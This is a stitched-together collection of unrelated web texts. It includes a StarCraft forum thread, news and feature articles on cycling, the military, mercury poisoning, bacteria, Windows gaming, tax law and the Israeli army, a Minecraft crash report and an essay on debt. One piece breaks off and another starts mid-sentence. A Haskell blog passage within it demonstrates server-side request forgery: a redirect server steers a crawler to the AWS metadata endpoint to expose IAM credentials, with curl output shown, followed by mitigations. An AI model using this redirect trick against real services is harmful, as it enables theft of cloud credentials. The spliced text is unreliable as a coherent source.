Wrath Profile Blog Joined July 2014 3115 Posts Last Edited: 2016-12-03 19:53:05 #2
Edit: Please fix the image by using this:
Well... JIN AIR is holding the last line of defense but for how long?Edit: Please fix the image by using this:
eviltomahawk Profile Blog Joined August 2010 United States 10876 Posts #3 Aw man, that sucks. I think their Dota 2 and CS:GO teams will still be around, especially since their Dota 2 team is still competing in the Boston Major.
But the near complete loss of team infrastructure in the Korean scene will still be a tragedy. ㅇㅅㅌㅅ
Solar424 Profile Blog Joined June 2013 United States 3678 Posts #4 I'm surprised it took them this long. With no teams to compete against I wouldn't be surprised to see Jin Air disband by the end of the year. This must be what's taking Blizzard so long with the WCS announcement: they need to know if there will be a Korean scene next year.
geissenberg Profile Joined November 2016 Austria 18 Posts #5 so how many team are left?
NinjaToss Profile Blog Joined October 2015 Austria 1378 Posts #6 On December 04 2016 05:18 geissenberg wrote:
so how many team are left?
If it's Korean team, then only JinAir is left If it's Korean team, then only JinAir is left I'm sorry for all those that got their hearts broken by Zest | Zest, Bisu, soO, herO, MC, Maru, TY, Rogue, Trap, TaeJa", Favourite foreigners: ShoWTimE, Snute, Serral and Nerchio| KT BEST KT |
Ziggy Profile Blog Joined June 2013 Poland 1211 Posts #7 Farewell, MVP Writer https://twitter.com/ZiggySCPG
munch Profile Joined July 2014 Mute City 2334 Posts #8 well shit Writer Form is temporary, MMA is permanent || http://www.teamliquid.net/blogs/508630-article-archive
Ansibled Profile Joined November 2014 United Kingdom 2347 Posts Last Edited: 2016-12-03 20:31:02 #9 On December 04 2016 05:06 Solar424 wrote:
I'm surprised it took them this long. With no teams to compete against I wouldn't be surprised to see Jin Air disband by the end of the year. This must be what's taking Blizzard so long with the WCS announcement: they need to know if there will be a Korean scene next year.
I feel like the existence of teams doesn't really impact on the WCS system, it's an individual tournament. When did Blizzard announce last year, it was similarly late right? I feel like the existence of teams doesn't really impact on the WCS system, it's an individual tournament. When did Blizzard announce last year, it was similarly late right? 'StarCraft is just a fairy tale told to scare children actually.'
NinjaToss Profile Blog Joined October 2015 Austria 1378 Posts #10 I hate to be a bringer of bad news, especially regarding SC2 I'm sorry for all those that got their hearts broken by Zest | Zest, Bisu, soO, herO, MC, Maru, TY, Rogue, Trap, TaeJa", Favourite foreigners: ShoWTimE, Snute, Serral and Nerchio| KT BEST KT |
Dav1oN Profile Joined January 2012 Ukraine 2803 Posts #11 Kinda excpected I guess? just wondering what's the reason Jin Air still on air, what's the point 1xBet
Ansibled Profile Joined November 2014 United Kingdom 2347 Posts #12 On December 04 2016 05:44 cSc.Dav1oN wrote:
Kinda excpected I guess? just wondering what's the reason Jin Air still on air, what's the point
Passion. Passion. 'StarCraft is just a fairy tale told to scare children actually.'
F1rstAssau1t Profile Joined November 2010 917 Posts #13 Inb4 "daed gaem" meme and follow up discussion. #1 Kloggmosexual | Gambit 4 lyfe! | DiamondGOD | #iBelieve
Solar424 Profile Blog Joined June 2013 United States 3678 Posts #14 On December 04 2016 05:51 F1rstAssau1t wrote:
Inb4 "daed gaem" meme and follow up discussion.
At some point it stops being a meme and starts being something that has to be accepted: the game is all but dead in Korea. At some point it stops being a meme and starts being something that has to be accepted: the game is all but dead in Korea.
SetGuitarsToKill Profile Blog Joined December 2013 Canada 27926 Posts #15 I tend to like better sources before we news something serious like this... But sadly I don't doubt this
MVP has players and teams in literally every goddamn game. The fact that SC2 seems less worth it in Korea than like CSGO which no one in Asia plays is a horrid sign of the environment we're dealing with Community News "As long as |
-09T15:51:00Z" }
If this were running on your actual infrastructure rather than Lightsail and the attacker didn't know your IAM setup, it would take two attempts instead of one to get these credentials.
A very bad service
Our archival service is a pretty simple WAI application. When someone POSTs to /site, it grabs a URI out of the POST payload, follows it with wreq, and stores the result under a unique ID. When someone gets /site/{id}, we serve the text back up.
I'll leave out most of the details. Head to the gist to see the full code, this won't compile on its own.
Here's the interface for the storage backend:
data Storage = Storage { insert :: Text -> IO Id, lookup :: Id -> IO ( Maybe Text ) }
... and we can mock it up using IORefs trapped in closures:
simpleStorage :: IO Storage simpleStorage = do ref <- IORef.newIORef M.empty next <- IORef.newIORef ( 0 :: Integer ) let fresh = do fmap ( Id. T.pack. show). IORef.atomicModifyIORef' next $ \j -> (j + 1, j) ins t = do idd <- fresh IORef.atomicModifyIORef' ref $ \m -> (M.insert idd t m, idd) lkp i = fmap (M.lookup i) (IORef.readIORef ref) pure ( Storage ins lkp)
Our WAI application is pretty straightforward, doing exactly what I described above:
application :: Storage -> Wai.Application application storage request respond = case (Wai.requestMethod request, Wai.pathInfo request) of ( POST, [ "site" ]) -> sitePost storage request >>= respond ( GET, [ "site", uri]) -> siteGet storage uri >>= respond _ -> respond (plain HTTP.status404 [] "Not Found" )
... and I'll leave out the resources. We perform a little bit of weak validation on the URI before making any requests. Specifically, we check it's not a bare IP address:
-- | Make a token effort to avoid pinging our local network. safeUri :: URI -> Maybe URI safeUri uri = do ua <- URI.uriAuthority uri let rn = URI.uriRegName ua guard (not (URI.isIPv4address rn)) guard (not (URI.isIPv6address rn)) pure uri
The vulnerability itself is in the way we fetch data from untrusted URIs. Using wreq with defaults, all redirects are followed without question. The same is true for http-client, the main alternative to wreq :
-- | Fetch a URI and return the response body. getText :: URI -> IO ( Maybe Text ) getText uri = do response <- Wreq.getWith opts uris case HTTP.statusCode (response ^. Wreq.responseStatus) of 200 -> case TE.decodeUtf8' (BSL.toStrict (response ^. Wreq.responseBody)) of Right txt -> pure ( Just txt) Left _ -> pure Nothing _ -> pure Nothing where uris = uriToString id uri [] opts = Wreq.defaults & Wreq.header "Accept".~ [ "text/plain" ]
When we stand up the server, we can observe it kinda works (although I haven't bothered handling MIME types properly, nor have we handled wreq's exceptions):
$ curl -X POST -d'site=http%3A%2F%2Fwww.gutenberg.org%2Ffiles%2F11%2F11-0.txt' localhost:8000/site Created $ curl localhost:8000/site/0 2>/dev/null | head Project Gutenberg’s Alice’s Adventures in Wonderland, by Lewis Carroll This eBook is for the use of anyone anywhere at no cost and with almost no restrictions whatsoever. You may copy it, give it away or re-use it under the terms of the Project Gutenberg License included with this eBook or online at www.gutenberg.org Title: Alice’s Adventures in Wonderland
A very bad server
It's really, truly straightforward to redirect a request to a constant address! Here's all we need to send the boss straight into the EC2 instance store:
application :: Wai.Application application _request respond = respond $ Wai.responseLBS HTTP.status302 [(HTTP.hLocation, location)] mempty location :: ByteString location = "http://169.254.169.254/latest/meta-data/iam/security-credentials/AmazonLightsailInstanceRole"
Running this pair on my Lightsail box, we can pretty easily trick the crawler into serving AWS credentials for all to see:
$ curl -X POST -d 'http%3A%2F%2Flocalhost%3A8080' localhost:8000/site Created $ curl localhost:8000/site/1 { "Code" : "Success", "LastUpdated" : "2017-08-09T09:17:26Z", "Type" : "AWS-HMAC", "AccessKeyId" : "<snip>", "SecretAccessKey" : "<snip>", "Token" : "<snip>", "Expiration" : "2017-08-09T15:51:00Z" }
Though we were "certain" that the initial URI was safe, we didn't validate the subsequent redirected URIs at all, and now everything's ruined. Be careful out there.
Mitigation
Here are a few possible strategies to mitigate redirects:
Blacklist local IP ranges and all of your internal TLDs
Whitelist acceptable domains or TLDs
Refuse redirects into bare IP addresses
Have a bounded redirect count to avoid denial-of-serviceThere is a drug that pervades the peloton like no other. Almost every single rider administers it to themselves, usually several times a day. Cyclists are totally addicted to the extent that they can’t even fathom going for a training ride without taking it – sometimes a double dose, maybe even a triple.
But this drug has no need for omertà. This drug is legal. This drug is caffeine.
Caffeine can reduce fatigue, improve muscle contractibility and increase the time it takes to reach an exhausted state. It provides enough performance enhancement that it is currently being monitored by WADA as a substance which might be subject to abuse. We once saw a rider revolt during the 1998 Tour de France because of the indignities suffered by dopers being investigated. That protest largely consisted of the peloton sitting in the middle of a road. If WADA decided to ban caffeine, then we’d really see what a rider revolt looks like.
It actually used to be banned, if your body contained over a certain amount. Gianni Bugno had one too many espressos one morning in 1994 and got himself a two-year suspension. He appealed to the Court of Arbitration for Sport (CAS) and succeeded. His ban was reduced to time served (three months) and CAS also came to the realisation that a ban on caffeine was stupid so they decreed that the rule be changed. A court of arbitration? Or an arbitrary court?
Caffeine was once fine, then it wasn’t, then it was again, now it kind of is but they’re not sure yet. They might change their minds again next year.
Should we judge Bugno for testing positive for drinking coffee? Surely he should be judged more harshly for his name appearing in the files of Professor Conconi, he who organised courses of EPO for his clients. Or for that time when he was arrested after the police intercepted a delivery of amphetamines on its way to his father’s house. But if the resulting punishments are anything to go by, its the coffee we should be more concerned about.
To serve a doping ban for caffeine these days would seem preposterous. It’s probably the least controversial drug of choice in cycling and in every day life. So contrast that with the most controversial, the most abhorrent form of doping – a blood transfusion.
Francesco Moser stocked up a bit of blood and juiced it back into himself in preparation for his world hour record attempt in 1984 (with the help of Prof. Conconi). He beat Eddy Merckx’s unbeatable distance. No rules were broken. No problem.
Of course now blood transfusions are very much against the rules. It’s a reasonable stance to believe that anybody caught partaking in the practice should be banned for life. But in the 1980s, it was grand, ‘work away lads, sure we can’t detect if you’re doing it anyway‘. Nowadays we consider it appalling to spank a child. Back then it was just parenting. Even if you’re merely considering a single era and all it entails doping is not a black and white issue. But trying to liken one era with another is futile.
In this current era there’s a tendency to immediately pour scorn and admonish any rider who tests positive for anything. A permanent asterisk (both literal and metaphorical) is placed next to their name and that’s that. Sullied. Shamed. A reputation in tatters. Perhaps it’s the availability of information now that makes it easy for us to keep track of all these things – who tested positive when and for what. When Bugno started as a pro, if you tested positive you got a time penalty and 15 words on the bottom corner of page 28 of Cycling Weekly. Nowadays you’re a headline on dozens of websites before breakfast, ripe for judgement and derision while thousands read all about it over their own morning dose of caffeine.
It’s always funny to hear a victorious cyclist say after a win ‘they can never take that away from me now’. We raise our eyes to heaven and think ‘you eejit’. As we now know, any victory can be taken away. But an asterisk can’t. That’s a blot for life.Sexual assaults in the military are down and victims are more likely to report the crime, according to the latest numbers released Thursday that advocates say show recent changes are beginning to make a dent in what had become a crisis for the Pentagon.
Figures released by the Rand Corp., an independent government-supported research center, estimated that 20,000 men and women in the military’s 1.3 million active force said they were the victims last year of sexual assault — a catchall term that encompasses unwanted sexual contact, or attempts, up to and including rape. Both men and women reported fewer assaults, Rand said.
Meanwhile, about 25 percent of victims said they reported the crime, up from just 10 percent two years earlier.
Defense Secretary Chuck Hagel, who has made stamping out sex crimes a top priority, declared at a press briefing that the military has seen “measurable progress” but “we still have a long way to go.”
While overall reporting increased, it remained low among men, only 10 percent of whom reported the crime, suggesting “we have a long way to go in fighting the cultural stigmas that discourage reporting among men,” Mr. Hagel said.
Rand reported one surprise. Its survey’s intrusive questioning found that there were “more penetrative assaults than previously thought.” Nearly half of women (4,214) who said they were assaulted, and one-third of men (3,850), were victims of “penetrative” attacks, the report said.
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Lawmakers largely praised the report, saying that it showed the military was listening to outrage among those on Capitol Hill, though they acknowledged there is still work to be done, especially to eliminate retaliation against those who do come forward.
“The report that the Defense Department released today provides some hard evidence that we’re making progress to end the scourge of unwanted sexual contact,” said Sen. Carl Levin, Michigan Democrat and chairman of the Senate Armed Services Committee. “The steps that we have taken in Congress and in the military are having an effect.”
One area where the data showed no improvement from 2012 is retaliation. More than 60 percent of victims who reported an attack perceived some form of retaliation, though most of that is social retaliation among peers, said Sen. Claire McCaskill, Missouri Democrat.
A smaller portion of victims have seen retaliation from superiors, though even that doesn’t rise to the level of top-level commanders who are making decisions about which cases should be prosecuted, she said.
Stung both by the high number of unreported assaults and several high-profile cases, Congress and the Pentagon pushed for changes last year. Among those changes were mandatory dishonorable discharges for those convicted of sexual assault and a review by the secretary of the service if a commander declined to bring a case to trial that a staff judge advocate recommended to prosecute.
While many saw the report as a positive step forward, Sen. Kirsten Gillibrand, New York Democrat, said the new statistics back up her push to strip military commanders of their ability to prosecute sexual assault cases.
She wants to place that decision with a military lawyer outside the chain of command, which she said will cut down on retaliation.
“For a year now we have heard how the reforms in the previous defense bill were going to protect victims, and make retaliation a crime,” she said. “It should be a screaming red flag to everyone when 62 percent of those who say they reported a crime were retaliated against — nearly two-thirds — the exact same number as last year.”
Ms. McCaskill, who opposes Ms. Gillibrand’s proposal, said that while retaliation is too high, the problem wasn’t commanders. She said nearly three-fourths of victims were happy with their commander’s response and would recommend other victims to report the crimes.
Mr. Hagel also announced some changes from the Defense Department to try to decrease the stagnant retaliation statistics, including new training for junior offices to ensure a culture of accountability trickles down throughout the command.
The department could see more reforms to sexual assault programs in this year’s defense policy bill, which is expected to clear Congress next week. One change would give a special victims counsel more access to courtrooms.
Thursday’s reported drop in assaults could also be due to changes in the survey method.
Some conservatives said the previous surveys, conducted by the Pentagon and its Defense Manpower Data Center, were tailored to reach those with an interest in the topic, thus creating a skewed pool.
The Pentagon responded to criticism by shipping survey duties to an outside pollster — Rand Corp. — which made some significant changes.
Rand sent email invites to all 200,000 service women and over 300,000 men. Of the 560,000 emails, 170,000 active duty troops went online and answered the survey. That is a response rate of about 30 percent, compared with 20 percent in 2012.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.The felt hat industry has been traced to the mid 17th century in France, and it was probably introduced into England some time around 1830. A story passed down in the hat industry gives this account of how mercury came to be used in the process: In Turkey camel hair was used for felt material, and it was discovered that the felting process was speeded up if the fibers were moistened with camel urine. It is said that in France workmen used their own urine, but one particular workman seemed consistently to produce a superior felt. This person was being treated with a mercury compound for syphilis, and an association was made between mercury treatment of the fibers and an improved felt. Eventually the use of solutions of mercuric nitratewas widespread in the felt industry, and mercury poisoning became endemic. (reference) Dementia and erethism were indeed a common ailment among 19th Century hatmakers.
The crazy Mad Hatter of Lewis Carroll's Alice in Wonderland is becoming widely associated with the effects of Mercury on behavior as well as physiology. Mercury was used to process the felt hats used in England around Lewis' time. Erratic, flamboyant behavior was one of the most evident alterations caused by mercury. (Others included excessive drooling, mood swings, various debilities.) (reference) But Lewis Carroll did not invent the phrase, although he did create the character. The phrases'mad as a hatter'and "mad as a March hare" were common at the time Lewis Carroll wrote (1865 was the first publication date of Alice). The phrase had been in common use in 1837, almost 30 years earlier.
The earliest mention of a'mad hatter' appears to refer to one Robert Crab, a 17th Century eccentric living at Chesham, England. He gave all his goods to the poor and lived on dock leaves and grass. Carroll, however, seems to have based his mad hatter not on Robert Crab, but on a certain Theophilus Carter, not a hatter but a furniture dealer, who was known locally as the Mad Hatter, partly because he always wore a top hat, and partly because he was quite an eccentric and produced some wacky inventions. Makers of felt hats would indeed often drool, tremble, talk to themselves and have bouts of severe paranoia, for reasons that only became clear later. Both in Europe and North America they were the eccentrics and madmen of the clothing trades, which gave rise to the phrase as used today. (reference)
Lewis Carroll frequently used common expressions, songs, nursery rhymes, etc., as the basis for characters in his stories. The origin of the phrase, it's believed, is that hatters really did go mad. The chemicals used in hat-making included mercurous nitrate, used in curing felt. Prolonged exposure to the mercury vapors caused mercury poisoning. Victims developed severe and uncontrollable muscular tremors and twitching limbs, called 'hatter's shakes' ; other symptoms included distorted vision and confused speech. Advanced cases developed hallucinations and other psychotic symptoms. Danbury, Connecticut, an important center of America’s hat-making industry until men's hats went out of fashion in the 1960's, developed its own reputation for madness. Regionally, the "Danbury shakes" were a commonly recognized series of ailments.
On December 1, 1941 the United States Public Health Service banned the use of mercury in the felt industry in this country. Although it has been suggested that the expression'mad as a hatter'and the character portrayed in Lewis Carroll's Alice in Wonderland may have other origins other than mercurialism among hatters, few can resist making this apocryphal analogy.
See also: Amalgamation, Appliances, Chlor-Alkali, Dentistry, Explosives, Iraq poisoning, 'Mad as a Hatter', Mercury, Methylmercury, Minamata, Minamata timeline, Medical uses, Pigmentand organic fungicide production, Toxicology
Danbury Connecticut has always been known as "The Hat City". It was the hat making capital of the world in the 19th century. At the peak of the industry, five million hats a year were produced in 56 different factories in Danbury. A process called "carroting" was used in the production. Carroting involved washing animal furs with an orange-colored solution containing a mercury compound, mercury nitrate. The colorful solution facilitated the separation of the fur from the pelt and made it mat together smoothly. Workers would often be exposed to mercury vapors in the steamy air. (reference)
Many hatters with long-term exposure, particularly those involved in carroting, got mercury poisoning. Mercury poisoning attacks the nervous system, causing drooling, hair loss, uncontrollable muscle twitching, a lurching gait, and difficulties in talking and thinking clearly. Stumbling about in a confused state with slurred speech and trembling hands, affected hatters were sometimes mistaken for drunks. The ailment became known as "The Danbury Shakes". In very severe cases, they experienced hallucinations.
Synonyms and related keywords: mad hatter's syndrome, metal fume fever, Minamata disease, methylmercury, methyl mercury, mercury poisoning, mercury toxicity, mercury-induced cognitive impairments, mercury intoxication, mercury exposure, prenatal mercury exposure.
Acute mercury exposure has given rise to psychotic reactions characterized by delirium, hallucinations, and suicidal tendency. Occupational exposure has resulted in erethism, with irritability, excitability, excessive shyness, and insomniaas the principal features of a broad-ranging functional disturbance. With continuing exposure, a fine tremor develops, initially involving the hands and later spreading to the eyelids, lips, and tongue, causing violent muscular spasms in the most severe cases. The tremor is reflected in the handwriting which has a characteristic appearance. In milder cases, erethism and tremor regress slowly over a period of years following removal from exposure. Decreased nerve conduction velocity in mercury-exposed workers has been demonstrated. Long-term, low-level exposure has been found to be associated with less pronounced symptoms of erethism, characterized by fatigue, irritability, loss of memory, vivid dreams, and depression WHO, 1976).A novel bacterium -- trapped more than three kilometres under glacial ice in Greenland for over 120,000 years -- may hold clues as to what life forms might exist on other planets.
Dr Jennifer Loveland-Curtze and a team of scientists from Pennsylvania State University report finding the novel microbe, which they have called Herminiimonas glaciei, in the current issue of the International Journal of Systematic and Evolutionary Microbiology. The team showed great patience in coaxing the dormant microbe back to life; first incubating their samples at 2˚C for seven months and then at 5˚C for a further four and a half months, after which colonies of very small purple-brown bacteria were seen.
H. glaciei is small even by bacterial standards – it is 10 to 50 times smaller than E. coli. Its small size probably helped it to survive in the liquid veins among ice crystals and the thin liquid film on their surfaces. Small cell size is considered to be advantageous for more efficient nutrient uptake, protection against predators and occupation of micro-niches and it has been shown that ultramicrobacteria are dominant in many soil and marine environments.
Most life on our planet has always consisted of microorganisms, so it is reasonable to consider that this might be true on other planets as well. Studying microorganisms living under extreme conditions on Earth may provide insight into what sorts of life forms could survive elsewhere in the solar system.
"These extremely cold environments are the best analogues of possible extraterrestrial habitats", said Dr Loveland-Curtze, "The exceptionally low temperatures can preserve cells and nucleic acids for even millions of years. H. glaciei is one of just a handful of officially described ultra-small species and the only one so far from the Greenland ice sheet; studying these bacteria can provide insights into how cells can survive and even grow under extremely harsh conditions, such as temperatures down to -56˚C, little oxygen, low nutrients, high pressure and limited space."
"H. glaciei isn't a pathogen and is not harmful to humans", Dr Loveland-Curtze added, "but it can pass through a 0.2 micron filter, which is the filter pore size commonly used in sterilization of fluids in laboratories and hospitals. If there are other ultra-small bacteria that are pathogens, then they could be present in solutions presumed to be sterile. In a clear solution very tiny cells might grow but not create the density sufficient to make the solution cloudy."Microsoft has been pushing developers to build applications for the Windows Store and the Universal Windows Platform and has come under fire from both gamers and game developers for some of the restrictions that the platforms impose. In particular, UWP games have been unable to disable v-sync and are not able to use either Nvidia's G-sync or AMD's Freesync technology.
Later today, Microsoft will be publishing an update to Windows 10 that removes this constraint and gives the UWP games the ability to update at whichever refresh rate they choose.
Until now, UWP has required that games enable v-sync, tying their frame rates to the screen's refresh rate. V-sync can reduce the presence of certain visual artifacts—it prevents a phenomenon called tearing, wherein the top half of the screen shows one frame and the bottom half of the screen shows a different, newer frame—but it also limits the frame rate that applications can run at. G-sync and Freesync are two technologies that allow monitors to vary their refresh rates dynamically so that the monitor can keep pace with the game's frame rate, even when the game's frame rate is very high (typically up to about 144fps) or very low (down to around 30fps). With these systems, one can have the benefits of enabling v-sync—no tearing—without the restrictions on frame rate that the feature normally implies.
With today's update, gamers will be able to choose whether or not to have v-sync enabled. Those who want the highest possible framerates (and hence the most responsive games) will be able to disable v-sync; those who would prefer to never see tearing will be able to keep v-sync turned on. Moreover, gamers with suitable video cards and monitors will be able to use G-sync or Freesync to enjoy the best of both worlds.WASHINGTON — The US tax system contains a valuable benefit for prominent white nationalist groups, which for years have enjoyed a legal status that allows them to not pay levies and lets supporters write off their donations. This status also, for tax purposes, puts them in the same legal category as zoos, colleges, museums, orchestras, and planetariums.
It’s a lucrative classification. Four well-known organizations associated with white nationalism — the National Policy Institute, the New Century Foundation, the Charles Martel Society, and the VDare Foundation — have raised $7.8 million in tax-free donations over the last decade, according to a recent analysis by the Associated Press.
Their tax status is getting renewed scrutiny after the 2016 election, in which white nationalists openly and widely championed then-candidate Donald Trump, raising their profile in US politics and adding overtly racist voices that were not part of the national dialogue in recent elections.
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In a new proposal, legal expert Eric Franklin Amarante of the University of Nevada at Las Vegas is calling on the Internal Revenue Service to change the rules.
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His proposal, which he published online, would force white nationalist groups to start paying taxes by removing the provision they rely on for their tax exemption, a broad rule that benefits organizations that sponsor lectures, conferences, and public discussions.
‘‘They get the assumption — the benefit of the doubt — that they are operating in the public’s interest, that this is a worthy organization,’’ Amarante said. ‘‘Is this really how we want to operate? Do we really want to give the federal government’s seal of approval, the imprimatur, to these organizations?’’
The white nationalist movement has its intellectual roots in an old tradition of justifying racial prejudice through appeals to nonscientific theories of human evolution. Some of the movement’s adherents generally espouse discredited ideas about race, arguing that there are important hereditary differences between races. Many also oppose racial integration and support a separate state for whites.
Recently, white nationalists have tried to distinguish themselves from white supremacists, an older term associated with terrorist groups such as the Ku Klux Klan.
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White nationalists say they do not believe that whites are superior to people of other races or that they should have more power in society. (Peter Brimelow, who is in charge of the VDare Foundation, said the group’s website is not white nationalist, but that some writers who contribute to it could be described using that term, the Associated Press reported.)
Some white nationalists also make use of anti-Semitic themes, and supporters often give Nazi salutes.
But even organizations that condemn white nationalists’ messages are hesitant about proposals to take away their tax-exempt status. Indeed, major advocacy groups for charities and not-for-profit groups argue that as long as white nationalists do not advocate violence or get directly involved in politics — a prerequisite for their current status — they should be exempt from taxes.
The white nationalist groups qualify for tax-exempt status because they have successfully argued that they have an educational mission, and charity advocates are uncomfortable with an arrangement in which the IRS decides which groups qualify for that educational status based on their messages.
‘‘It is explicitly not the IRS’s job to make a political judgment on whether they like the content,’’ said Hadar Susskind of the Council on Foundations, a philanthropic coalition that defends legal protections for donors and charities. ‘‘If there’s a hate group that’s out there doing something bad, that’s an issue for the FBI, not the IRS.’’
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Groups in this category that receive tax-deductible donations are known as 501(c)(3) organizations. You ‘‘don’t have to like all the people in the (c)(3) category to recognize that in our society we need all views expressed,’’ said David Thompson, a vice president at the National Council of Nonprofits, which advocates for charities. ‘‘We don’t make decisions on (c)(3) status based on whether we like their views or not.’’
‘It is explicitly not the IRS’s job to make a political judgment on whether they like the content.’
Americans have been able to write off donations when they pay their taxes for a century, and the rule has become part of the country’s culture of charitable giving.
Americans donated an estimated $373 billion in 2015, according to Giving USA, a group based in Chicago that monitors charitable contributions.
About $10 billion of that total benefits educational organizations and their donors.For army officer Shachar, serving in the IDF was the first time he felt like a real man.
The 21-year-old is the Israeli army's first out transgender officer, after completing a training course last year that earned him the promotion.
"How can I explain it? For me, serving in the army and being recognized for who I really am by my fellow soldiers made me feel like a real man for the first time in my life. It made me feel like myself," said Shachar, who asked to be quoted using his preferred pseudonym to protect his identity as an active member of the Israeli Defense Force (IDF).
At a time when most of the world's militaries still officially ban gay and lesbian soldiers from serving, Shachar's military service stands apart. Not only did he experience support from his unit and commanding officers, but his case prompted the Israeli military to fast-track new protocols now in place that range from tolerance training for senior officers to ensuring that the military would cover the cost of hormone treatments and sex reassignment surgery.
He is now speaking internationally, hoping his case can help transform the attitudes of militaries like the United States, which has embraced lesbian, gay, and bisexual soldiers but still will not allow trans soldiers to serve. While Shachar says he knows that Israel is accused of "pinkwashing" — or using its progressive stance toward the LGBT community to brush over human rights abuses toward Palestinians — for him and others interviewed by BuzzFeed News the positions taken by Israel's military were an indication of a functional army, rather than a political talking point.
Shachar said the health insurance he has through the army paid for his hormone therapy and preapproved him for surgery whenever he was ready for that step.
"When you feel accepted and happy as who you are, you want to do your best as a soldier – as a person," said Shachar. "I was so nervous to ask, and when I did the doctor told me he had already and asked and received approval for the surgery. Really, it was a shock to me as well that everyone was so supportive."
While the U.K. last month accepted its first out transgender officer, the U.S. and many other countries continue to ban transgender people from serving in their militaries. Even as gay, lesbian, and bisexual Americans have been able to serve freely since the repeal of "don't ask, don't tell" in September 2011, a medical regulatory ban still prohibits transgender military service, forcing the estimated 15,000 transgender soldiers currently serving in the armed forces to remain closeted.
"It's hard for me, hearing how it is in other countries," said Shachar. "Luckily for me, it wasn't like that. My family was supportive and then the army was supportive."
He acknowledged, however, that he grew up in a secular, progressive community, and that during his army service he did not have any interactions with the haredi, a term for ultraorthodox religious Israelis, whose units of the IDF are known as being more conservative.
"I really didn't come across anyone who was offended by me or against me," he said. "I didn't have to struggle with that."
Shachar smiles when talking about his early days in basic training in 2012. He smiles more when recalling how, after filling out his enlistment paperwork as a woman, he decided to take male rather than female fatigues.
"I thought I was inventing the wheel, the whole issue was less discussed back then. I thought someone would notice, I thought they would care. But nobody said anything," he said. While the IDF has long had out transgender soldiers, his was the first case of a transgender officer. "I had initially thought it would be easier to just serve as a woman, to not make a big deal or talk about it. But in the end I felt comfortable and safe to slowly begin to talk to those around me."
He recalled how an officer gave him extra uniforms so that he wouldn't have to do the laundry as often or change clothes in front of his fellow soldiers. Another officer arranged for him to get private shower hours. And then, one afternoon, while his unit was gathered for a briefing, he stood up and told his fellow soldiers that he was transgender.
"They were curious, they had questions, but mostly they were very happy for me," said Shachar. "Now, as an officer, I am identified as male. When I leave the army my paperwork will be stamped as a male. I think that's an amazing thing, to have those two papers to see that progression."
Shachar said that he's seen a huge change in the IDF since he enlisted, and he has since counseled young transgender soldiers who reach out to him for advice.
"Today you don't ask anyone about their sexual needs or behavior. According to Israeli law, men and women have to join the army and during their physical exams in enlistment no one asks them or probes about their private sexual habits," said Brig. Gen. Rachel Tevet-Weisel, an advisor for LGBT and women's issues in the IDF. She said the shift toward accepting the LGBT community in the IDF began in the 1980s and has evolved in the decades since. Tevet-Weisel's office only intervenes when sexuality becomes a problem for the soldiers, such as when they make requests for separate showers or changing stations.
Israeli law stipulates that nationals can only begin the sex reassignment process after the age of 18, the same age that all Israeli men and women are required to join the armed services.
"Some of them come with documents and say they are starting the process. In those cases we think how we can help them whether it's with uniforms or a special permit to have long hair," said Tevet-Weisel. "If there is a soldier who enlists as a man, but along his service wants to be addressed using female terms, then we do that."
And while Tevet-Weisel said the army focuses on educating all of its soldiers and officers on tolerance and respect, there are always cases, she said, that fall through the cracks.
Ayelet, an IDF soldier in the third and final year of service, told BuzzFeed News that fellow soldiers called her "lesbian" and "ugly" when she decided to cut her hair short. Ayelet was still unsure whether she wants to be referred to by male or female terms, and asked to be identified by only her first name as she was in active service.
"Some people were tolerant, and others were terrible," said Ayelet, who spoke to BuzzFeed News by phone from her base in southern Israel. "The officers were very good about stepping in and stopping the harassment once it started, and giving me space to figure things out for myself."
It's not easy, she said, to be in the army while also trying to figure out something as personal as sexuality.
"For some people who know who they are what they are it might be more straightforward. For those of us who are confused, it's a complicated process no matter what," she said.FTB Crash Report a guest Jan 4th, 2013 130 Never a guest130Never
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rawdownloadcloneembedreportprint text 11.85 KB ---- Minecraft Crash Report ---- // I let you down. Sorry :( Time: 1/4/13 6:10 PM Description: Exception ticking world entities java.lang.IndexOutOfBoundsException: Index: 7, Size: 7 at java.util.ArrayList.rangeCheck(Unknown Source) at java.util.ArrayList.remove(Unknown Source) at yc.h(World.java:2136) at in.h(WorldServer.java:516) at net.minecraft.server.MinecraftServer.r(MinecraftServer.java:679) at net.minecraft.server.MinecraftServer.q(MinecraftServer.java:598) at bdz.q(IntegratedServer.java:159) at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:497) at fy.run(SourceFile:849) A detailed walkthrough of the error, its code path and all known details is as follows: --------------------------------------------------------------------------------------- -- Head -- Stacktrace: at java.util.ArrayList.rangeCheck(Unknown Source) at java.util.ArrayList.remove(Unknown Source) at yc.h(World.java:2136) at in.h(WorldServer.java:516) -- Affected level -- Details: Level name: New World All players: 0 total; [] Chunk stats: ServerChunkCache: 14 Drop: 14 Level seed: -4007731619135079542 Level generator: ID 00 - default, ver 1. Features enabled: false Level generator options: Level spawn location: World: (0,0,0), Chunk: (at 0,0,0 in 0,0; contains blocks 0,0,0 to 15,255,15), Region: (0,0; contains chunks 0,0 to 31,31, blocks 0,0,0 to 511,255,511) Level time: 0 game time, 0 day time Level dimension: 0 Level storage version: 0x00000 - Unknown? Level weather: Rain time: 0 (now: false), thunder time: 0 (now: false) Level game mode: ~~ERROR~~ NullPointerException: null Stacktrace: at net.minecraft.server.MinecraftServer.r(MinecraftServer.java:679) at net.minecraft.server.MinecraftServer.q(MinecraftServer.java:598) at bdz.q(IntegratedServer.java:159) at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:497) at fy.run(SourceFile:849) -- System Details -- Details: Minecraft Version: 1.4.6 Operating System: Windows 8 (amd64) version 6.2 Java |
people. While some very clever accounting tricks make it seem that the deficit, the difference between what we spend and what we have, is going down the reality is that the countries debt is increasing faster that it ever has before.
From the current picture it’s clear that there is a strong link between money and debt but it doesn’t seem as if the politicians have a strong grasp on what that link is, and with only 1 in 10 MPs actually knowing how money is created it’s not exactly hard to see why. Having never run a country before I’m having to make an educated guess, but I would have thought that the least you would hope for from the people making economic policies was that they knew the basics such as how money was made and it’s relationship to debt.
Einstein was quoted as saying “The only reason for time is so that everything doesn’t happen at once” The principle also applies to debt. The purpose of debt is because everything cannot happen in our economy at once.
In order to function within the system we have created some of our future wealth has to be brought back to the present. In order to accomplish this we take money that doesn’t exist yet in the form of debt with the hope that at some point in the future through our economic activities we will be able to repay it. But this simple idea has been distorted by the profiteering bankers and the strange reality is that debt is no longer a way to stop everything happening in our economy at once but is fact the way in which money is created. Debt and money are not just linked but they are in fact different sides of the same coin.
